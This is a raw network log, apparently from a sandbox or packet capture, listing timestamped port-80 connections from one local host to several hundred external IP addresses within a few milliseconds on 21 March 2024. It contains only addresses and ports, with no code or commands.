Mar 21, 2024 05:21:47.388180971 CET	50480	80	192.168.2.13	178.64.214.52
Mar 21, 2024 05:21:47.388183117 CET	50480	80	192.168.2.13	178.55.246.149
Mar 21, 2024 05:21:47.388185024 CET	49968	80	192.168.2.13	169.184.34.223
Mar 21, 2024 05:21:47.388191938 CET	50480	80	192.168.2.13	178.216.236.240
Mar 21, 2024 05:21:47.388197899 CET	49968	80	192.168.2.13	82.112.197.109
Mar 21, 2024 05:21:47.388197899 CET	49968	80	192.168.2.13	213.32.171.50
Mar 21, 2024 05:21:47.388204098 CET	50480	80	192.168.2.13	178.231.94.135
Mar 21, 2024 05:21:47.388211966 CET	50480	80	192.168.2.13	178.21.131.219
Mar 21, 2024 05:21:47.388211966 CET	50480	80	192.168.2.13	178.52.187.195
Mar 21, 2024 05:21:47.388211966 CET	50480	80	192.168.2.13	178.22.53.230
Mar 21, 2024 05:21:47.388211966 CET	50480	80	192.168.2.13	178.133.45.214
Mar 21, 2024 05:21:47.388211966 CET	49968	80	192.168.2.13	82.96.90.213
Mar 21, 2024 05:21:47.388223886 CET	49968	80	192.168.2.13	80.110.112.166
Mar 21, 2024 05:21:47.388227940 CET	50480	80	192.168.2.13	178.117.233.149
Mar 21, 2024 05:21:47.388227940 CET	50480	80	192.168.2.13	178.123.34.74
Mar 21, 2024 05:21:47.388231993 CET	49968	80	192.168.2.13	83.161.69.209
Mar 21, 2024 05:21:47.388240099 CET	49968	80	192.168.2.13	82.188.111.8
Mar 21, 2024 05:21:47.388240099 CET	50480	80	192.168.2.13	178.144.238.250
Mar 21, 2024 05:21:47.388250113 CET	49968	80	192.168.2.13	86.234.137.64
Mar 21, 2024 05:21:47.388256073 CET	49968	80	192.168.2.13	200.226.71.223
Mar 21, 2024 05:21:47.388268948 CET	49968	80	192.168.2.13	80.170.253.51
Mar 21, 2024 05:21:47.388277054 CET	49968	80	192.168.2.13	206.86.139.137
Mar 21, 2024 05:21:47.388278008 CET	49968	80	192.168.2.13	206.230.35.241
Mar 21, 2024 05:21:47.388290882 CET	49968	80	192.168.2.13	169.106.144.77
Mar 21, 2024 05:21:47.388308048 CET	49968	80	192.168.2.13	200.106.8.229
Mar 21, 2024 05:21:47.388308048 CET	49968	80	192.168.2.13	200.88.96.22
Mar 21, 2024 05:21:47.388308048 CET	49968	80	192.168.2.13	213.22.158.14
Mar 21, 2024 05:21:47.388315916 CET	49968	80	192.168.2.13	206.206.60.217
Mar 21, 2024 05:21:47.388328075 CET	49968	80	192.168.2.13	169.69.6.42
Mar 21, 2024 05:21:47.388334036 CET	49968	80	192.168.2.13	206.156.108.113
Mar 21, 2024 05:21:47.388340950 CET	49968	80	192.168.2.13	82.97.195.250
Mar 21, 2024 05:21:47.388350964 CET	49968	80	192.168.2.13	206.87.238.78
Mar 21, 2024 05:21:47.388355970 CET	49968	80	192.168.2.13	178.12.6.208
Mar 21, 2024 05:21:47.388355970 CET	49968	80	192.168.2.13	80.56.64.209
Mar 21, 2024 05:21:47.388371944 CET	49968	80	192.168.2.13	206.239.129.59
Mar 21, 2024 05:21:47.388371944 CET	49968	80	192.168.2.13	181.106.23.139
Mar 21, 2024 05:21:47.388374090 CET	49968	80	192.168.2.13	82.193.195.138
Mar 21, 2024 05:21:47.388374090 CET	49968	80	192.168.2.13	80.115.232.196
Mar 21, 2024 05:21:47.388374090 CET	49968	80	192.168.2.13	200.8.187.199
Mar 21, 2024 05:21:47.388376951 CET	49968	80	192.168.2.13	213.109.51.5
Mar 21, 2024 05:21:47.388374090 CET	49968	80	192.168.2.13	181.218.2.230
Mar 21, 2024 05:21:47.388380051 CET	49968	80	192.168.2.13	178.195.187.100
Mar 21, 2024 05:21:47.388381958 CET	49968	80	192.168.2.13	86.55.98.86
Mar 21, 2024 05:21:47.388400078 CET	49968	80	192.168.2.13	86.235.102.110
Mar 21, 2024 05:21:47.388400078 CET	49968	80	192.168.2.13	181.8.237.181
Mar 21, 2024 05:21:47.388400078 CET	49968	80	192.168.2.13	80.36.10.115
Mar 21, 2024 05:21:47.388400078 CET	49968	80	192.168.2.13	83.124.191.232
Mar 21, 2024 05:21:47.388402939 CET	50480	80	192.168.2.13	178.1.107.236
Mar 21, 2024 05:21:47.388405085 CET	50480	80	192.168.2.13	178.224.84.207
Mar 21, 2024 05:21:47.388420105 CET	49968	80	192.168.2.13	169.118.81.229
Mar 21, 2024 05:21:47.388421059 CET	49968	80	192.168.2.13	206.63.106.18
Mar 21, 2024 05:21:47.388422012 CET	50480	80	192.168.2.13	178.101.76.139
Mar 21, 2024 05:21:47.388422012 CET	49968	80	192.168.2.13	169.254.81.232
Mar 21, 2024 05:21:47.388443947 CET	49968	80	192.168.2.13	213.81.76.135
Mar 21, 2024 05:21:47.388443947 CET	49968	80	192.168.2.13	178.32.23.17
Mar 21, 2024 05:21:47.388443947 CET	49968	80	192.168.2.13	181.234.220.50
Mar 21, 2024 05:21:47.388446093 CET	49968	80	192.168.2.13	169.21.44.130
Mar 21, 2024 05:21:47.388446093 CET	49968	80	192.168.2.13	80.178.158.71
Mar 21, 2024 05:21:47.388447046 CET	50480	80	192.168.2.13	178.192.167.54
Mar 21, 2024 05:21:47.388447046 CET	50480	80	192.168.2.13	178.232.144.0
Mar 21, 2024 05:21:47.388447046 CET	50480	80	192.168.2.13	178.20.25.140
Mar 21, 2024 05:21:47.388447046 CET	49968	80	192.168.2.13	213.35.86.126
Mar 21, 2024 05:21:47.388456106 CET	50480	80	192.168.2.13	178.205.56.64
Mar 21, 2024 05:21:47.388456106 CET	49968	80	192.168.2.13	80.202.27.14
Mar 21, 2024 05:21:47.388465881 CET	50480	80	192.168.2.13	178.247.109.47
Mar 21, 2024 05:21:47.388465881 CET	50480	80	192.168.2.13	178.140.239.219
Mar 21, 2024 05:21:47.388467073 CET	50480	80	192.168.2.13	178.18.254.4
Mar 21, 2024 05:21:47.388465881 CET	49968	80	192.168.2.13	178.22.246.115
Mar 21, 2024 05:21:47.388468027 CET	49968	80	192.168.2.13	86.233.136.78
Mar 21, 2024 05:21:47.388473034 CET	50480	80	192.168.2.13	178.124.72.63
Mar 21, 2024 05:21:47.388473034 CET	49968	80	192.168.2.13	80.77.87.17
Mar 21, 2024 05:21:47.388473034 CET	49968	80	192.168.2.13	178.121.19.207
Mar 21, 2024 05:21:47.388473034 CET	49968	80	192.168.2.13	169.41.98.155
Mar 21, 2024 05:21:47.388475895 CET	50480	80	192.168.2.13	178.199.142.217
Mar 21, 2024 05:21:47.388479948 CET	49968	80	192.168.2.13	181.30.190.6
Mar 21, 2024 05:21:47.388487101 CET	49968	80	192.168.2.13	83.143.136.115
Mar 21, 2024 05:21:47.388489008 CET	50480	80	192.168.2.13	178.183.134.244
Mar 21, 2024 05:21:47.388494968 CET	49968	80	192.168.2.13	80.156.230.220
Mar 21, 2024 05:21:47.388503075 CET	49968	80	192.168.2.13	200.51.102.119
Mar 21, 2024 05:21:47.388503075 CET	50480	80	192.168.2.13	178.211.134.86
Mar 21, 2024 05:21:47.388504982 CET	50480	80	192.168.2.13	178.7.43.44
Mar 21, 2024 05:21:47.388520956 CET	50480	80	192.168.2.13	178.27.28.57
Mar 21, 2024 05:21:47.388520956 CET	50480	80	192.168.2.13	178.60.245.122
Mar 21, 2024 05:21:47.388523102 CET	50480	80	192.168.2.13	178.163.118.61
Mar 21, 2024 05:21:47.388523102 CET	50480	80	192.168.2.13	178.128.91.179
Mar 21, 2024 05:21:47.388528109 CET	50480	80	192.168.2.13	178.215.68.12
Mar 21, 2024 05:21:47.388531923 CET	49968	80	192.168.2.13	213.128.202.8
Mar 21, 2024 05:21:47.388533115 CET	49968	80	192.168.2.13	83.228.75.98
Mar 21, 2024 05:21:47.388539076 CET	50480	80	192.168.2.13	178.64.137.218
Mar 21, 2024 05:21:47.388539076 CET	49968	80	192.168.2.13	86.21.121.190
Mar 21, 2024 05:21:47.388545036 CET	49968	80	192.168.2.13	86.159.203.184
Mar 21, 2024 05:21:47.388547897 CET	50480	80	192.168.2.13	178.31.14.196
Mar 21, 2024 05:21:47.388551950 CET	49968	80	192.168.2.13	80.22.24.236
Mar 21, 2024 05:21:47.388566017 CET	50480	80	192.168.2.13	178.38.154.23
Mar 21, 2024 05:21:47.388566971 CET	49968	80	192.168.2.13	181.61.62.170
Mar 21, 2024 05:21:47.388570070 CET	50480	80	192.168.2.13	178.31.167.128
Mar 21, 2024 05:21:47.388571024 CET	49968	80	192.168.2.13	86.31.92.249
Mar 21, 2024 05:21:47.388572931 CET	49968	80	192.168.2.13	213.11.72.171
Mar 21, 2024 05:21:47.388586044 CET	50480	80	192.168.2.13	178.101.251.229
Mar 21, 2024 05:21:47.388588905 CET	50480	80	192.168.2.13	178.80.176.102
Mar 21, 2024 05:21:47.388590097 CET	50480	80	192.168.2.13	178.189.237.226
Mar 21, 2024 05:21:47.388590097 CET	50480	80	192.168.2.13	178.149.64.81
Mar 21, 2024 05:21:47.388595104 CET	49968	80	192.168.2.13	80.101.160.163
Mar 21, 2024 05:21:47.388597012 CET	50480	80	192.168.2.13	178.135.255.141
Mar 21, 2024 05:21:47.388607979 CET	49968	80	192.168.2.13	83.25.155.100
Mar 21, 2024 05:21:47.388618946 CET	50480	80	192.168.2.13	178.234.37.130
Mar 21, 2024 05:21:47.388618946 CET	50480	80	192.168.2.13	178.122.129.254
Mar 21, 2024 05:21:47.388618946 CET	49968	80	192.168.2.13	181.167.85.84
Mar 21, 2024 05:21:47.388621092 CET	50480	80	192.168.2.13	178.150.155.220
Mar 21, 2024 05:21:47.388621092 CET	50480	80	192.168.2.13	178.193.3.60
Mar 21, 2024 05:21:47.388626099 CET	50480	80	192.168.2.13	178.158.39.145
Mar 21, 2024 05:21:47.388626099 CET	49968	80	192.168.2.13	83.69.35.214
Mar 21, 2024 05:21:47.388629913 CET	49968	80	192.168.2.13	200.165.112.181
Mar 21, 2024 05:21:47.388629913 CET	49968	80	192.168.2.13	82.76.53.185
Mar 21, 2024 05:21:47.388638973 CET	50480	80	192.168.2.13	178.108.250.240
Mar 21, 2024 05:21:47.388638973 CET	50480	80	192.168.2.13	178.91.218.163
Mar 21, 2024 05:21:47.388638973 CET	50480	80	192.168.2.13	178.62.51.11
Mar 21, 2024 05:21:47.388642073 CET	49968	80	192.168.2.13	86.56.238.115
Mar 21, 2024 05:21:47.388642073 CET	50480	80	192.168.2.13	178.16.116.123
Mar 21, 2024 05:21:47.388652086 CET	49968	80	192.168.2.13	206.151.31.56
Mar 21, 2024 05:21:47.388652086 CET	49968	80	192.168.2.13	200.254.29.112
Mar 21, 2024 05:21:47.388654947 CET	49968	80	192.168.2.13	178.210.22.158
Mar 21, 2024 05:21:47.388654947 CET	49968	80	192.168.2.13	181.128.136.193
Mar 21, 2024 05:21:47.388654947 CET	50480	80	192.168.2.13	178.132.167.177
Mar 21, 2024 05:21:47.388664007 CET	49968	80	192.168.2.13	181.130.170.117
Mar 21, 2024 05:21:47.388664007 CET	49968	80	192.168.2.13	213.34.62.59
Mar 21, 2024 05:21:47.388672113 CET	50480	80	192.168.2.13	178.248.211.144
Mar 21, 2024 05:21:47.388672113 CET	49968	80	192.168.2.13	206.200.201.140
Mar 21, 2024 05:21:47.388672113 CET	49968	80	192.168.2.13	181.190.156.87
Mar 21, 2024 05:21:47.388673067 CET	50480	80	192.168.2.13	178.42.205.242
Mar 21, 2024 05:21:47.388676882 CET	50480	80	192.168.2.13	178.38.232.51
Mar 21, 2024 05:21:47.388678074 CET	50480	80	192.168.2.13	178.50.37.3
Mar 21, 2024 05:21:47.388693094 CET	49968	80	192.168.2.13	86.59.109.13
Mar 21, 2024 05:21:47.388693094 CET	50480	80	192.168.2.13	178.1.151.57
Mar 21, 2024 05:21:47.388693094 CET	49968	80	192.168.2.13	86.13.37.181
Mar 21, 2024 05:21:47.388694048 CET	50480	80	192.168.2.13	178.114.162.254
Mar 21, 2024 05:21:47.388698101 CET	49968	80	192.168.2.13	178.115.107.28
Mar 21, 2024 05:21:47.388704062 CET	49968	80	192.168.2.13	80.229.1.72
Mar 21, 2024 05:21:47.388705969 CET	50480	80	192.168.2.13	178.43.141.196
Mar 21, 2024 05:21:47.388705969 CET	50480	80	192.168.2.13	178.222.56.239
Mar 21, 2024 05:21:47.388719082 CET	49968	80	192.168.2.13	169.155.72.225
Mar 21, 2024 05:21:47.388719082 CET	49968	80	192.168.2.13	86.58.107.194
Mar 21, 2024 05:21:47.388720036 CET	49968	80	192.168.2.13	200.147.177.15
Mar 21, 2024 05:21:47.388720036 CET	50480	80	192.168.2.13	178.232.110.233
Mar 21, 2024 05:21:47.388720036 CET	50480	80	192.168.2.13	178.85.43.241
Mar 21, 2024 05:21:47.388722897 CET	50480	80	192.168.2.13	178.158.111.154
Mar 21, 2024 05:21:47.388725996 CET	50480	80	192.168.2.13	178.45.90.107
Mar 21, 2024 05:21:47.388726950 CET	50480	80	192.168.2.13	178.142.90.207
Mar 21, 2024 05:21:47.388726950 CET	49968	80	192.168.2.13	80.199.161.53
Mar 21, 2024 05:21:47.388746977 CET	49968	80	192.168.2.13	200.150.68.201
Mar 21, 2024 05:21:47.388748884 CET	50480	80	192.168.2.13	178.190.166.88
Mar 21, 2024 05:21:47.388750076 CET	50480	80	192.168.2.13	178.222.214.103
Mar 21, 2024 05:21:47.388751030 CET	50480	80	192.168.2.13	178.22.71.130
Mar 21, 2024 05:21:47.388750076 CET	50480	80	192.168.2.13	178.231.252.80
Mar 21, 2024 05:21:47.388751030 CET	49968	80	192.168.2.13	83.33.48.221
Mar 21, 2024 05:21:47.388751984 CET	49968	80	192.168.2.13	169.162.23.46
Mar 21, 2024 05:21:47.388751030 CET	49968	80	192.168.2.13	83.177.187.64
Mar 21, 2024 05:21:47.388758898 CET	49968	80	192.168.2.13	169.93.17.39
Mar 21, 2024 05:21:47.388765097 CET	50480	80	192.168.2.13	178.9.71.56
Mar 21, 2024 05:21:47.388780117 CET	50480	80	192.168.2.13	178.89.42.27
Mar 21, 2024 05:21:47.388780117 CET	50480	80	192.168.2.13	178.223.118.233
Mar 21, 2024 05:21:47.388780117 CET	49968	80	192.168.2.13	178.119.166.151
Mar 21, 2024 05:21:47.388781071 CET	49968	80	192.168.2.13	213.254.14.91
Mar 21, 2024 05:21:47.388786077 CET	49968	80	192.168.2.13	200.255.69.70
Mar 21, 2024 05:21:47.388792992 CET	49968	80	192.168.2.13	200.26.191.79
Mar 21, 2024 05:21:47.388796091 CET	50480	80	192.168.2.13	178.197.177.233
Mar 21, 2024 05:21:47.388797045 CET	50480	80	192.168.2.13	178.187.175.104
Mar 21, 2024 05:21:47.388797045 CET	50480	80	192.168.2.13	178.118.133.23
Mar 21, 2024 05:21:47.388798952 CET	50480	80	192.168.2.13	178.52.247.237
Mar 21, 2024 05:21:47.388812065 CET	50480	80	192.168.2.13	178.199.106.103
Mar 21, 2024 05:21:47.388813972 CET	50480	80	192.168.2.13	178.198.205.255
Mar 21, 2024 05:21:47.388813972 CET	50480	80	192.168.2.13	178.68.124.159
Mar 21, 2024 05:21:47.388814926 CET	49968	80	192.168.2.13	83.211.44.97
Mar 21, 2024 05:21:47.388814926 CET	49968	80	192.168.2.13	169.95.236.160
Mar 21, 2024 05:21:47.388816118 CET	50480	80	192.168.2.13	178.233.2.201
Mar 21, 2024 05:21:47.388814926 CET	50480	80	192.168.2.13	178.205.55.110
Mar 21, 2024 05:21:47.388816118 CET	49968	80	192.168.2.13	86.150.72.114
Mar 21, 2024 05:21:47.388817072 CET	50480	80	192.168.2.13	178.71.237.147
Mar 21, 2024 05:21:47.388825893 CET	50480	80	192.168.2.13	178.188.104.211
Mar 21, 2024 05:21:47.388837099 CET	50480	80	192.168.2.13	178.220.213.132
Mar 21, 2024 05:21:47.388838053 CET	50480	80	192.168.2.13	178.217.163.42
Mar 21, 2024 05:21:47.388848066 CET	49968	80	192.168.2.13	82.109.250.238
Mar 21, 2024 05:21:47.388848066 CET	50480	80	192.168.2.13	178.114.61.148
Mar 21, 2024 05:21:47.388849020 CET	49968	80	192.168.2.13	206.174.206.129
Mar 21, 2024 05:21:47.388848066 CET	50480	80	192.168.2.13	178.56.93.207
Mar 21, 2024 05:21:47.388855934 CET	50480	80	192.168.2.13	178.206.167.40
Mar 21, 2024 05:21:47.388860941 CET	49968	80	192.168.2.13	83.35.105.209
Mar 21, 2024 05:21:47.388869047 CET	50480	80	192.168.2.13	178.209.75.9
Mar 21, 2024 05:21:47.388871908 CET	49968	80	192.168.2.13	169.152.126.103
Mar 21, 2024 05:21:47.388875961 CET	50480	80	192.168.2.13	178.95.84.241
Mar 21, 2024 05:21:47.388875961 CET	50480	80	192.168.2.13	178.183.218.252
Mar 21, 2024 05:21:47.388889074 CET	50480	80	192.168.2.13	178.187.220.222
Mar 21, 2024 05:21:47.388889074 CET	50480	80	192.168.2.13	178.216.87.55
Mar 21, 2024 05:21:47.388889074 CET	50480	80	192.168.2.13	178.9.196.239
Mar 21, 2024 05:21:47.388886929 CET	49968	80	192.168.2.13	169.106.124.130
Mar 21, 2024 05:21:47.388886929 CET	49968	80	192.168.2.13	178.242.107.133
Mar 21, 2024 05:21:47.388890982 CET	49968	80	192.168.2.13	82.107.153.73
Mar 21, 2024 05:21:47.388895988 CET	49968	80	192.168.2.13	200.67.68.23
Mar 21, 2024 05:21:47.388906002 CET	50480	80	192.168.2.13	178.97.190.60
Mar 21, 2024 05:21:47.388909101 CET	49968	80	192.168.2.13	82.76.40.239
Mar 21, 2024 05:21:47.388910055 CET	50480	80	192.168.2.13	178.183.11.183
Mar 21, 2024 05:21:47.388911009 CET	49968	80	192.168.2.13	86.112.151.124
Mar 21, 2024 05:21:47.388911009 CET	50480	80	192.168.2.13	178.168.219.90
Mar 21, 2024 05:21:47.388912916 CET	50480	80	192.168.2.13	178.224.126.161
Mar 21, 2024 05:21:47.388912916 CET	49968	80	192.168.2.13	80.148.158.137
Mar 21, 2024 05:21:47.388919115 CET	50480	80	192.168.2.13	178.47.208.190
Mar 21, 2024 05:21:47.388920069 CET	49968	80	192.168.2.13	169.14.205.138
Mar 21, 2024 05:21:47.388922930 CET	49968	80	192.168.2.13	181.240.249.242
Mar 21, 2024 05:21:47.388930082 CET	50480	80	192.168.2.13	178.189.205.224
Mar 21, 2024 05:21:47.388935089 CET	50480	80	192.168.2.13	178.6.178.88
Mar 21, 2024 05:21:47.388945103 CET	50480	80	192.168.2.13	178.15.73.81
Mar 21, 2024 05:21:47.388946056 CET	49968	80	192.168.2.13	83.202.235.47
Mar 21, 2024 05:21:47.388947964 CET	49968	80	192.168.2.13	82.109.236.7
Mar 21, 2024 05:21:47.388947964 CET	49968	80	192.168.2.13	83.202.232.88
Mar 21, 2024 05:21:47.388956070 CET	50480	80	192.168.2.13	178.32.204.173
Mar 21, 2024 05:21:47.388957024 CET	49968	80	192.168.2.13	83.49.86.202
Mar 21, 2024 05:21:47.388956070 CET	49968	80	192.168.2.13	82.34.130.72
Mar 21, 2024 05:21:47.388957024 CET	50480	80	192.168.2.13	178.152.247.182
Mar 21, 2024 05:21:47.388967037 CET	49968	80	192.168.2.13	181.135.164.9
Mar 21, 2024 05:21:47.388967037 CET	49968	80	192.168.2.13	169.139.240.31
Mar 21, 2024 05:21:47.388967037 CET	49968	80	192.168.2.13	178.216.248.46
Mar 21, 2024 05:21:47.388978004 CET	49968	80	192.168.2.13	178.112.91.21
Mar 21, 2024 05:21:47.388979912 CET	50480	80	192.168.2.13	178.149.15.82
Mar 21, 2024 05:21:47.388979912 CET	50480	80	192.168.2.13	178.190.135.224
Mar 21, 2024 05:21:47.388983011 CET	49968	80	192.168.2.13	86.211.61.187
Mar 21, 2024 05:21:47.388991117 CET	50480	80	192.168.2.13	178.114.140.134
Mar 21, 2024 05:21:47.388992071 CET	49968	80	192.168.2.13	169.221.203.204
Mar 21, 2024 05:21:47.388993025 CET	49968	80	192.168.2.13	181.143.91.88
Mar 21, 2024 05:21:47.388999939 CET	50480	80	192.168.2.13	178.2.64.119
Mar 21, 2024 05:21:47.389009953 CET	50480	80	192.168.2.13	178.26.210.34
Mar 21, 2024 05:21:47.389009953 CET	49968	80	192.168.2.13	181.150.18.133
Mar 21, 2024 05:21:47.389014959 CET	49968	80	192.168.2.13	206.220.117.36
Mar 21, 2024 05:21:47.389020920 CET	49968	80	192.168.2.13	200.232.134.239
Mar 21, 2024 05:21:47.389025927 CET	49968	80	192.168.2.13	181.47.105.234
Mar 21, 2024 05:21:47.389030933 CET	50480	80	192.168.2.13	178.144.20.181
Mar 21, 2024 05:21:47.389034033 CET	49968	80	192.168.2.13	80.114.247.15
Mar 21, 2024 05:21:47.389034033 CET	50480	80	192.168.2.13	178.52.15.246
Mar 21, 2024 05:21:47.389035940 CET	49968	80	192.168.2.13	80.173.175.74
Mar 21, 2024 05:21:47.389049053 CET	50480	80	192.168.2.13	178.48.59.207
Mar 21, 2024 05:21:47.389049053 CET	49968	80	192.168.2.13	169.59.89.44
Mar 21, 2024 05:21:47.389051914 CET	50480	80	192.168.2.13	178.32.119.187
Mar 21, 2024 05:21:47.389050961 CET	49968	80	192.168.2.13	82.79.133.34
Mar 21, 2024 05:21:47.389055014 CET	50480	80	192.168.2.13	178.47.45.112
Mar 21, 2024 05:21:47.389060020 CET	49968	80	192.168.2.13	206.131.184.124
Mar 21, 2024 05:21:47.389060020 CET	50480	80	192.168.2.13	178.103.229.56
Mar 21, 2024 05:21:47.389060020 CET	50480	80	192.168.2.13	178.135.159.210
Mar 21, 2024 05:21:47.389060020 CET	49968	80	192.168.2.13	82.103.247.254
Mar 21, 2024 05:21:47.389064074 CET	49968	80	192.168.2.13	169.19.62.197
Mar 21, 2024 05:21:47.389065027 CET	50480	80	192.168.2.13	178.118.4.240
Mar 21, 2024 05:21:47.389065981 CET	49968	80	192.168.2.13	206.252.179.233
Mar 21, 2024 05:21:47.389065981 CET	49968	80	192.168.2.13	82.91.13.18
Mar 21, 2024 05:21:47.389065981 CET	49968	80	192.168.2.13	178.238.211.245
Mar 21, 2024 05:21:47.389070034 CET	49968	80	192.168.2.13	181.146.151.252
Mar 21, 2024 05:21:47.389075041 CET	49968	80	192.168.2.13	169.168.154.183
Mar 21, 2024 05:21:47.389084101 CET	50480	80	192.168.2.13	178.92.41.5
Mar 21, 2024 05:21:47.389084101 CET	50480	80	192.168.2.13	178.29.80.67
Mar 21, 2024 05:21:47.389086008 CET	49968	80	192.168.2.13	206.101.5.71
Mar 21, 2024 05:21:47.389086008 CET	49968	80	192.168.2.13	86.7.191.57
Mar 21, 2024 05:21:47.389086008 CET	50480	80	192.168.2.13	178.106.125.60
Mar 21, 2024 05:21:47.389089108 CET	49968	80	192.168.2.13	181.140.195.150
Mar 21, 2024 05:21:47.389090061 CET	49968	80	192.168.2.13	80.198.94.178
Mar 21, 2024 05:21:47.389100075 CET	49968	80	192.168.2.13	200.188.236.109
Mar 21, 2024 05:21:47.389100075 CET	50480	80	192.168.2.13	178.65.47.125
Mar 21, 2024 05:21:47.389100075 CET	50480	80	192.168.2.13	178.54.111.60
Mar 21, 2024 05:21:47.389105082 CET	49968	80	192.168.2.13	181.115.165.229
Mar 21, 2024 05:21:47.389116049 CET	50480	80	192.168.2.13	178.236.139.84
Mar 21, 2024 05:21:47.389116049 CET	49968	80	192.168.2.13	206.99.184.3
Mar 21, 2024 05:21:47.389116049 CET	49968	80	192.168.2.13	86.227.246.226
Mar 21, 2024 05:21:47.389123917 CET	49968	80	192.168.2.13	181.31.157.1
Mar 21, 2024 05:21:47.389125109 CET	49968	80	192.168.2.13	80.46.144.69
Mar 21, 2024 05:21:47.389131069 CET	49968	80	192.168.2.13	83.182.213.232
Mar 21, 2024 05:21:47.389131069 CET	49968	80	192.168.2.13	82.66.233.8
Mar 21, 2024 05:21:47.389132977 CET	50480	80	192.168.2.13	178.30.185.93
Mar 21, 2024 05:21:47.389132977 CET	49968	80	192.168.2.13	200.27.236.99
Mar 21, 2024 05:21:47.389132977 CET	50480	80	192.168.2.13	178.13.126.127
Mar 21, 2024 05:21:47.389132977 CET	50480	80	192.168.2.13	178.128.231.209
Mar 21, 2024 05:21:47.389132977 CET	50480	80	192.168.2.13	178.160.82.212
Mar 21, 2024 05:21:47.389137983 CET	49968	80	192.168.2.13	181.115.40.51
Mar 21, 2024 05:21:47.389137983 CET	50480	80	192.168.2.13	178.111.16.172
Mar 21, 2024 05:21:47.389146090 CET	50480	80	192.168.2.13	178.219.7.203
Mar 21, 2024 05:21:47.389146090 CET	49968	80	192.168.2.13	82.69.156.100
Mar 21, 2024 05:21:47.389153004 CET	49968	80	192.168.2.13	213.130.254.193
Mar 21, 2024 05:21:47.389158010 CET	49968	80	192.168.2.13	83.224.13.178
Mar 21, 2024 05:21:47.389183044 CET	49968	80	192.168.2.13	200.14.163.175
Mar 21, 2024 05:21:47.389183044 CET	50480	80	192.168.2.13	178.174.155.118
Mar 21, 2024 05:21:47.389193058 CET	49968	80	192.168.2.13	200.170.230.223
Mar 21, 2024 05:21:47.389194965 CET	49968	80	192.168.2.13	83.134.173.36
Mar 21, 2024 05:21:47.389194965 CET	50480	80	192.168.2.13	178.32.147.204
Mar 21, 2024 05:21:47.389194965 CET	50480	80	192.168.2.13	178.176.161.213
Mar 21, 2024 05:21:47.389204025 CET	49968	80	192.168.2.13	82.115.186.146
Mar 21, 2024 05:21:47.389208078 CET	50480	80	192.168.2.13	178.43.78.135
Mar 21, 2024 05:21:47.389214039 CET	50480	80	192.168.2.13	178.245.180.55
Mar 21, 2024 05:21:47.389214039 CET	50480	80	192.168.2.13	178.208.211.240
Mar 21, 2024 05:21:47.389213085 CET	49968	80	192.168.2.13	213.187.79.0
Mar 21, 2024 05:21:47.389214039 CET	49968	80	192.168.2.13	82.212.10.153
Mar 21, 2024 05:21:47.389225006 CET	49968	80	192.168.2.13	82.194.139.195
Mar 21, 2024 05:21:47.389225960 CET	49968	80	192.168.2.13	178.244.152.166
Mar 21, 2024 05:21:47.389225960 CET	50480	80	192.168.2.13	178.73.236.224
Mar 21, 2024 05:21:47.389225960 CET	49968	80	192.168.2.13	82.218.4.176
Mar 21, 2024 05:21:47.389225960 CET	50480	80	192.168.2.13	178.225.248.26
Mar 21, 2024 05:21:47.389225960 CET	50480	80	192.168.2.13	178.187.208.201
Mar 21, 2024 05:21:47.389225960 CET	49968	80	192.168.2.13	181.25.31.80
Mar 21, 2024 05:21:47.389225960 CET	50480	80	192.168.2.13	178.7.69.102
Mar 21, 2024 05:21:47.389242887 CET	50480	80	192.168.2.13	178.15.219.74
Mar 21, 2024 05:21:47.389244080 CET	50480	80	192.168.2.13	178.71.119.215
Mar 21, 2024 05:21:47.389244080 CET	49968	80	192.168.2.13	213.166.65.215
Mar 21, 2024 05:21:47.389246941 CET	49968	80	192.168.2.13	83.48.206.168
Mar 21, 2024 05:21:47.389254093 CET	49968	80	192.168.2.13	83.77.110.247
Mar 21, 2024 05:21:47.389254093 CET	50480	80	192.168.2.13	178.150.71.196
Mar 21, 2024 05:21:47.389261007 CET	50480	80	192.168.2.13	178.109.163.136
Mar 21, 2024 05:21:47.389264107 CET	50480	80	192.168.2.13	178.55.48.17
Mar 21, 2024 05:21:47.389264107 CET	50480	80	192.168.2.13	178.98.66.212
Mar 21, 2024 05:21:47.389266968 CET	49968	80	192.168.2.13	86.114.197.98
Mar 21, 2024 05:21:47.389266968 CET	49968	80	192.168.2.13	83.1.237.213
Mar 21, 2024 05:21:47.389269114 CET	50480	80	192.168.2.13	178.100.65.182
Mar 21, 2024 05:21:47.389272928 CET	49968	80	192.168.2.13	86.54.25.83
Mar 21, 2024 05:21:47.389276981 CET	49968	80	192.168.2.13	181.139.110.51
Mar 21, 2024 05:21:47.389285088 CET	49968	80	192.168.2.13	80.193.182.98
Mar 21, 2024 05:21:47.389295101 CET	49968	80	192.168.2.13	206.55.31.128
Mar 21, 2024 05:21:47.389298916 CET	49968	80	192.168.2.13	86.75.122.70
Mar 21, 2024 05:21:47.389298916 CET	49968	80	192.168.2.13	213.40.84.165
Mar 21, 2024 05:21:47.389303923 CET	49968	80	192.168.2.13	181.223.248.129
Mar 21, 2024 05:21:47.389305115 CET	49968	80	192.168.2.13	178.4.6.200
Mar 21, 2024 05:21:47.389303923 CET	49968	80	192.168.2.13	213.152.61.28
Mar 21, 2024 05:21:47.389312983 CET	49968	80	192.168.2.13	80.235.104.132
Mar 21, 2024 05:21:47.389312983 CET	49968	80	192.168.2.13	206.122.4.32
Mar 21, 2024 05:21:47.389321089 CET	49968	80	192.168.2.13	169.59.23.211
Mar 21, 2024 05:21:47.389321089 CET	50480	80	192.168.2.13	178.227.43.185
Mar 21, 2024 05:21:47.389321089 CET	49968	80	192.168.2.13	178.153.166.68
Mar 21, 2024 05:21:47.389338017 CET	49968	80	192.168.2.13	181.58.129.15
Mar 21, 2024 05:21:47.389337063 CET	49968	80	192.168.2.13	83.65.107.186
Mar 21, 2024 05:21:47.389339924 CET	49968	80	192.168.2.13	213.99.9.93
Mar 21, 2024 05:21:47.389352083 CET	49968	80	192.168.2.13	86.71.74.42
Mar 21, 2024 05:21:47.389357090 CET	49968	80	192.168.2.13	80.233.31.249
Mar 21, 2024 05:21:47.389357090 CET	49968	80	192.168.2.13	86.11.119.242
Mar 21, 2024 05:21:47.389357090 CET	49968	80	192.168.2.13	169.212.41.188
Mar 21, 2024 05:21:47.389364958 CET	49968	80	192.168.2.13	86.108.190.131
Mar 21, 2024 05:21:47.389364958 CET	49968	80	192.168.2.13	181.83.21.43
Mar 21, 2024 05:21:47.389368057 CET	49968	80	192.168.2.13	200.54.168.153
Mar 21, 2024 05:21:47.389368057 CET	49968	80	192.168.2.13	213.5.215.14
